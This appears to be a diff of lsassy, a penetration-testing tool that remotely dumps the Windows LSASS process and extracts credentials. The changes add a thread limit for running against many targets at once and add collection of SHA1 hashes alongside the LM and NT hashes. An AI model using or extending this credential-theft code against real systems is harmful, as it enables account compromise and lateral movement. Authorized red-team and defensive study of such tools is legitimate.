262 | """.format(username, '|'.join(effective_edges)) | |
263 | ||
264 | context.log.debug("Query : {}".format(query)) | |
265 | result = tx.run(query) | |
266 | driver.close() | |
267 | return result.value()[0] > 0 |
4 | 4 | # https://beta.hackndo.com |
5 | 5 | |
6 | 6 | from multiprocessing import Process, RLock |
7 | import time | |
7 | 8 | |
8 | 9 | from lsassy.modules.dumper import Dumper |
9 | 10 | from lsassy.modules.impacketconnection import ImpacketConnection |
220 | 221 | |
221 | 222 | def run(): |
222 | 223 | targets = get_targets(get_args().target) |
224 | # Maximum 256 processes because maximum 256 opened files in python by default | |
225 | processes = min(get_args().threads, 256) | |
223 | 226 | |
224 | 227 | if len(targets) == 1: |
225 | 228 | return CLI(targets[0]).run().error_code |
226 | ||
227 | 229 | jobs = [Process(target=CLI(target).run) for target in targets] |
228 | 230 | try: |
229 | 231 | for job in jobs: |
232 | # Checking running processes to avoid reaching --threads limit | |
233 | while True: | |
234 | counter = sum(1 for j in jobs if j.is_alive()) | |
235 | if counter >= processes: | |
236 | time.sleep(1) | |
237 | else: | |
238 | break | |
230 | 239 | job.start() |
231 | 240 | except KeyboardInterrupt as e: |
232 | 241 | print("\nQuitting gracefully...") |
54 | 54 | if not self._quiet: |
55 | 55 | if output: |
56 | 56 | print(out) |
57 | return out | |
57 | return (out+"\n") | |
58 | 58 | |
59 | 59 | def raw(self, msg): |
60 | 60 | print("{}".format(msg), end='') |
35 | 35 | password = getattr(cred, "password", None) |
36 | 36 | LMHash = getattr(cred, "LMHash", None) |
37 | 37 | NThash = getattr(cred, "NThash", None) |
38 | SHAHash = getattr(cred, "SHAHash", None) | |
38 | 39 | if LMHash is not None: |
39 | 40 | LMHash = LMHash.hex() |
40 | 41 | if NThash is not None: |
41 | 42 | NThash = NThash.hex() |
43 | if SHAHash is not None: | |
44 | SHAHash = SHAHash.hex() | |
42 | 45 | # Remove empty password, machine accounts and buggy entries |
43 | 46 | if self._raw: |
44 | self._credentials.append([ssp, domain, username, password, LMHash, NThash]) | |
45 | elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) | |
47 | self._credentials.append([ssp, domain, username, password, LMHash, NThash, SHAHash]) | |
48 | elif (not all(v is None or v == '' for v in [password, LMHash, NThash, SHAHash]) | |
46 | 49 | and username is not None |
47 | 50 | and not username.endswith('$') |
48 | 51 | and not username == ''): |
49 | self._credentials.append((ssp, domain, username, password, LMHash, NThash)) | |
52 | self._credentials.append((ssp, domain, username, password, LMHash, NThash, SHAHash)) | |
50 | 53 | return RetCode(ERROR_SUCCESS) |
51 | 54 | |
52 | 55 | def get_credentials(self): |
41 | 41 | if self._format == "json": |
42 | 42 | json_output = {} |
43 | 43 | for cred in self._credentials: |
44 | ssp, domain, username, password, lmhash, nthash = cred | |
44 | ssp, domain, username, password, lmhash, nthash, shahash = cred | |
45 | 45 | |
46 | 46 | domain = Writer._decode(domain) |
47 | 47 | username = Writer._decode(username) |
54 | 54 | credential = { |
55 | 55 | "password": password, |
56 | 56 | "lmhash": lmhash, |
57 | "nthash": nthash | |
57 | "nthash": nthash, | |
58 | "shahash": shahash | |
58 | 59 | } |
59 | 60 | if credential not in json_output[domain][username]: |
60 | 61 | json_output[domain][username].append(credential) |
72 | 73 | max_size = max(len(c[1]) + len(c[2]) for c in self._credentials) |
73 | 74 | credentials = [] |
74 | 75 | for cred in self._credentials: |
75 | ssp, domain, username, password, lmhash, nthash = cred | |
76 | ssp, domain, username, password, lmhash, nthash, shahash = cred | |
76 | 77 | domain = Writer._decode(domain) |
77 | 78 | username = Writer._decode(username) |
78 | 79 | password = Writer._decode(password) |
79 | 80 | if password is None: |
80 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
81 | password = ("[LM]"+lmhash+":") if lmhash is not None else "" | |
82 | password+= ("[NT]"+nthash+":") if nthash is not None else "" | |
83 | password+= ("[SHA1]"+shahash) if shahash is not None else "" | |
84 | #password = ':'.join(h for h in [lmhash, nthash,shahash] if h is not None) | |
81 | 85 | if [domain, username, password] not in credentials: |
82 | 86 | credentials.append([domain, username, password]) |
83 | 87 | output += self._log.success( |
37 | 37 | group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') |
38 | 38 | group_dump.add_argument('--procdump', action='store', help='Procdump path') |
39 | 39 | group_dump.add_argument('--dumpert', action='store', help='dumpert path') |
40 | group_dump.add_argument('--threads', default=32, type=int, action='store', help='Threads number') | |
40 | 41 | group_dump.add_argument('--timeout', default=10, type=int, action='store', |
41 | 42 | help='Timeout before considering lsass was not dumped successfully') |
42 | 43 | |
162 | 163 | try: |
163 | 164 | job.terminate() |
164 | 165 | except Exception as e: |
165 | passâ | |
166 | pass |
12 | 12 | |
13 | 13 | setup( |
14 | 14 | name="lsassy", |
15 | version="2.1.2", | |
15 | version="2.1.3", | |
16 | 16 | author="Pixis", |
17 | 17 | author_email="[email protected]", |
18 | 18 | description="Python library to parse remote lsass dumps", |
20 | 20 | long_description_content_type="text/markdown", |
21 | 21 | packages=find_packages(exclude=["assets", "cme"]), |
22 | 22 | include_package_data=True, |
23 | url="https://github.com/hackanddo/lsassy", | |
23 | url="https://github.com/Hackndo/lsassy/", | |
24 | 24 | zip_safe = True, |
25 | 25 | license="MIT", |
26 | 26 | install_requires=[ |